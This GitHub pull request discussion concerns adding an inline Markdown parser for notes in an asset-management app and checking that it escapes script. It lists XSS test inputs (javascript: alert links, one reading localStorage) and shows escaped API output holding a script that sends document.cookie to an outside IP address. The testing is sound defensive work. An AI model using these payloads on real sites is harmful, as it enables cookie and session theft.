Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Inline markdown method #13288

Merged
merged 6 commits into from
Jul 13, 2023
Merged

Added Inline markdown method #13288

merged 6 commits into from
Jul 13, 2023

Conversation

snipe
Copy link
Owner

@snipe snipe commented Jul 11, 2023

This fixes a sort-of bug introduced in #13222 which added markdown to notes - very helpful if you often include links in your notes - much less helpful if you use hashes like for order numbers (#12345), since the markdown parses the entire block of text and would turn that hashed line into a giant <h1></h1> headline.

I realize this is a bit duplicative, but I'm actually okay with it, since it forces you to explicitly decide which of these you want. It could have been passed as a parameter to the same method, but I think this is clearer in intent.

This way, notes still parse links and other light formatting, but there dashboard message, footer, EULAs, etc still work as expected.

Screenshot 2023-07-11 at 11 41 16 AM Screenshot 2023-07-11 at 11 41 36 AM

I'm noticing that our CSP isn't preventing outside images from being parsed in markdown, and that's something I'm trying to sort out, either by blocking images altogether in markdown, or fixing the CSP. (CSP can be set by the web server as well, so it's not entirely our responsibility, but you can currently embed images via markdown even on the demo, so this PR doesn't break anything.)

This would fix FD-36680

This feels weird, since we're no longer using the {{ $foo }} built-in escaping, but the markdown stuff handles that.

The test text I used to check for XSS in JS/Markdown is:

Created by DB *seeder*

#123456

https://snipe.net is __awesome__

<b>Hello!</b>

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript:https://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

[xss](javascript:alert%281%29)

@what-the-diff
Copy link

what-the-diff bot commented Jul 11, 2023

PR Summary

  • Introduction of New Method
    A new function, parseEscapedMarkedownInline, has been added to a helper file. This function improves the way our system handles specific types of data formatting (Markdown)

  • Method Replacements In Various Area
    This new function also replaces the old one, parseEscapedMarkedown, in several areas within our codebase, precisely, in the files handling accessories, action logs, asset maintenance, asset models, assets, components, consumables, licenses, suppliers, and users, making their operations more efficient.

  • Improvement in License Notes Representation
    Lastly, the manner we display 'notes' linked with our 'license' has been made better due to an adjustment in our code in view.blade.php file, leading to a more user-friendly experience when viewing these notes. This is done through a combination of the new function and some built-in PHP functions for string manipulation and output.

@snipe snipe changed the title Inline markdown Added Inline markdown method Jul 12, 2023
Copy link
Collaborator

@marcusmoore marcusmoore left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good but I added a couple notes


I think it should be added to accessories.view.blade.php and components.view.blade.php too right?


The note isn't being presented as expected in the asset model table:
asset model table

In contrast, it looks like I'd expect in licenses:
licenses table

@@ -33,6 +33,16 @@ public static function parseEscapedMarkedown($str = null)
}
}

public static function parseEscapedMarkedownInline($str = null)
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like we misspelled the original method as well but this should be Markdown and not Markedown 😅

Copy link
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don’t think that was a misspelling - Marked as in “this is marked down text”

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤔 huh...my mind went to the text having been "markdowned" but that doesn't really make sense

@snipe
Copy link
Owner Author

snipe commented Jul 13, 2023

I cannot for the life of me figure out why asset models isn't showing as expected. It's clearly parsing the markdown, based on formatting. If I add an nl2br() there, it works, but it shouldn't be needed?

I also worry about throwing in a bunch of HTML into an API response, but the only other way to handle that would be to try to parse the markdown in the javascript, which sounds horrible and would most likely not be a perfect match for the PHP parsedown convention.

Not sure - @uberbrady - any thoughts?

@snipe
Copy link
Owner Author

snipe commented Jul 13, 2023

Welp, Brady and I discussed it, and I think the best way is to just proceed with the HTML output. If it comes up with a user, we can fix it moving forward. Just before v7, we should create two versions of the output, something like:

"notes": {
        "original": "# Blah",
        "formatted": "<h1> Blah</h1>"
    },

but I don't feel comfortable doing that now since it would be a breaking change to the shape of the API.

@snipe
Copy link
Owner Author

snipe commented Jul 13, 2023

Weirdly, when I use the nl2br() in the asset models API transformer, I see:

 "notes": "Just a plain note.<br />\r\n<br />\r\n<a href=\"https://localhost:81/DVWA/vulnerabilities/xss_r/?name\">https://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br />\r\n<br />\r\n&lt;script&gt;new Image().src=&quot;<a href=\"https://192.165.159.122/fakepg.php?output=&quot;+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;&lt;/script&gt;<br />\r\n<br />\r\n#123456<br />\r\n<br />\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong><br />\r\n<br />\r\n&lt;b&gt;Hello!&lt;/b&gt;<br />\r\n<br />\r\n<a href=\"javascript%3Aalert(&#039;Basic&#039;)\">Basic</a><br />\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)<br />\r\n<a href=\"JaVaScRiPt%3Aalert(&#039;CaseInsensitive&#039;)\">CaseInsensitive</a><br />\r\n<a href=\"javascript%3A//www.google.com%0Aalert(&#039;URL&#039;)\">URL</a><br />\r\n<a href=\"&#039;javascript%3Aalert(&quot;InQuotes&quot;)&#039;\">In Quotes</a><br />\r\n<br />\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>",

versus the other ones, where it looks like:

"notes": "Just a plain note.\r\n\r\n<a href=\"https://localhost:81/DVWA/vulnerabilities/xss_r/?name\">https://localhost:81/DVWA/vulnerabilities/xss_r/?name</a>=&lt;script&gt;alert(document.cookie)&lt;/script&gt;\r\n\r\n&lt;script&gt;new Image().src=&quot;<a href=\"https://192.165.159.122/fakepg.php?output=&quot;+document.cookie\">https://192.165.159.122/fakepg.php?output=\"+document.cookie</a>;&lt;/script&gt;\r\n\r\n#123456\r\n\r\n<a href=\"https://snipe.net\">https://snipe.net</a> is <strong>awesome</strong>\r\n\r\n&lt;b&gt;Hello!&lt;/b&gt;\r\n\r\n<a href=\"javascript%3Aalert(&#039;Basic&#039;)\">Basic</a>\r\n<a href=\"javascript%3Aalert(JSON.stringify(localStorage)\">Local Storage</a>)\r\n<a href=\"JaVaScRiPt%3Aalert(&#039;CaseInsensitive&#039;)\">CaseInsensitive</a>\r\n<a href=\"javascript%3A//www.google.com%0Aalert(&#039;URL&#039;)\">URL</a>\r\n<a href=\"&#039;javascript%3Aalert(&quot;InQuotes&quot;)&#039;\">In Quotes</a>\r\n\r\n<a href=\"javascript%3Aalert%281%29\">xss</a>",

I wonder if I'm missing a formatter somewhere.

@snipe
Copy link
Owner Author

snipe commented Jul 13, 2023

Yep, that was it. 'formatter' => 'notesFormatter',

@snipe snipe merged commit 5aa99a1 into develop Jul 13, 2023
3 checks passed
@snipe snipe deleted the fixes/line_based_markdown branch July 13, 2023 12:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants